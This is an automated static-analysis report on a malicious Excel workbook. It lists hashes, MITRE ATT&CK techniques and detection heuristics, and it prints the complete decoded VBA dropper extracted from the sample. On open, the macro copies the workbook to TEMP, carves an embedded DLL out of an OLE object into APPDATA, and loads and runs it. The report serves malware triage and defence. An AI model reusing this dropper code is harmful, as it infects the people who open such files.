Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db92aa79b35ef1ae…

MALICIOUS

Office (OLE)

282.0 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: 21f24bec513e1787ddfc009cc1a05bd6 SHA-1: 780a483194d2224130e9a5f4c132c4443e2b32d5 SHA-256: db92aa79b35ef1aeceb4982d900ffbc1ee756b5e403095e0f7b9cba93f258391
356 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer T1204.002 Malicious File

The Workbook_Open macro is configured to execute a stager, which is designed to drop and execute an embedded PE executable. The presence of VirtualAlloc and LoadLibrary API calls, along with the embedded PE file, strongly suggests the execution of a secondary payload. The ClamAV detection of 'Xls.Malware.Sdrop-7173293-0' further supports the malicious nature of this Excel file.

Heuristics 10

  • ClamAV: Xls.Malware.Sdrop-7173293-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sdrop-7173293-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set oApp = CreateObject("Shell.Application")
            oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
    ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
    ChDir (Environ("TEMP"))
        UserForm1.Show
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4558 bytes
SHA-256: 8dc4fb3950f850e1bab668dd7e5ef3bf54f1f1cfde46a1a999ca369cac797741
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wbO"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
ChDir (Environ("TEMP"))
    UserForm1.Show
ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
End Sub


Attribute VB_Name = "Page1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If Win64 Then
    Public Declare PtrSafe Function Whisk Lib _
        "masterbox2.dll" () As Integer
    Public Declare PtrSafe Function Whisk2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#Else
   Public Declare Function Whisk2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
     Public Declare Function Whisk Lib _
        "masterbox1.dll" () As Integer
#End If
        




Public Sub CreateGifFile()
    TempName = Environ("TEMP") & "\factory.xlsx"
    ZipName = TempName + ".zip"
    ZipFolder = Environ("TEMP") '& "\UnzTmp"
    Dim nm As String
    Dim size As Long
    Dim num As Integer
#If Win64 Then
    nm = Environ("APPDATA") + "\masterbox2.dll"
    size = 66048
    num = 2
#Else
    
    nm = Environ("APPDATA") + "\masterbox1.dll"
    size = 77824
    num = 1
#End If
        
        On Error Resume Next
        Kill ZipName
        Kill ZipFolder & "\oleObject*.bin"
      
        Kill nm
        On Error GoTo 0
    
        ThisWorkbook.Sheets.Copy
        Application.DisplayAlerts = False
        ActiveWorkbook.SaveAs TempName, FileFormat:=51
        ActiveWorkbook.Close
    
        
    
        FileCopy TempName, ZipName
        
        Set oApp = CreateObject("Shell.Application")
        oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
        Resoration ZipFolder + "\oleObject1.bin", nm, size, num
        
        ChDir (Environ("APPDATA"))
        No_Whisk = Whisk2(nm)
        Whisk

End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{D6D679AA-CF1C-4CC6-AE50-CBD8D969D1A2}{FEB901ED-3744-455E-A1C3-72369FECF5DF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label1_Click()

End Sub

Private Sub UserForm_Activate()

CreateGifFile
End Sub

Private Sub UserForm_Error(ByVal Number As Integer, ByVal Description As MSForms.ReturnString, ByVal SCode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, ByVal CancelDisplay As MSForms.ReturnBoolean)

End Sub

Attribute VB_Name = "Module2"
Public Sub Resoration(s As String, nm As String, fl As Long, num As Integer)
    Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
    Dim DataArray() As Long

    ReDim DataArray(1 To fl)
    DataArray(1) = CByte(50 + 27)
    DataArray(2) = CByte(50 + 40)
    DataArray(3) = CByte(50 + 94)
    
    intFileNum = FreeFile
    Open s For Binary Access Read As intFileNum
    Dim cur As Integer
    cur = 1
    Do While Not EOF(intFileNum)
        Get intFileNum, , bytTemp1
        If bytTemp1 = DataArray(1) Then
           Get intFileNum, , bytTemp2
           If bytTemp2 = DataArray(2) Then
                Get intFileNum, , bytTemp3
                If bytTemp3 = DataArray(3) Then
                     If cur = num Then
                        For k = 4 To fl
                            Get intFileNum, , bytTemp1
                            DataArray(k) = bytTemp1
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop
    Close intFileNum
    
    intFileNum = FreeFile
    Open nm For Binary Lock Read Write As #intFileNum
    For i = LBound(DataArray) To UBound(DataArray)
        Put #intFileNum, , CByte(DataArray(i))
    Next i

    Close #intFileNum
End Sub
embedded_office_00003219.exe embedded-pe Office MZ+PE at offset 0x3219 275967 bytes
SHA-256: 9c4e2b2433f0b35872d6ab20a227ed420a09061e54d99712f2c1ca92e703f023
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: MBD005CE4AB/Ole10Native 152905 bytes
SHA-256: 8946b8489b8093e48840021df69fa7c931eab4ccfbf42239e4e40b8f7793fc0d